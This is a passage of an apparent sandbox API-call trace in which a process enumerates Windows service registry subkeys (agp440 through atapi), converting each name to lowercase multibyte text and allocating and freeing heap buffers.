[0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.110] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0236.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.110] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.111] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.111] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.111] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.111] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.111] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.112] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.112] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.112] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0236.112] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.112] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.112] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.113] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.113] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.113] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.113] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.113] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.114] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.114] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.114] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0236.114] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.114] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.114] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.115] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.115] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1df0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.115] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.115] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0236.115] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.116] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0236.116] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.116] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.116] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: 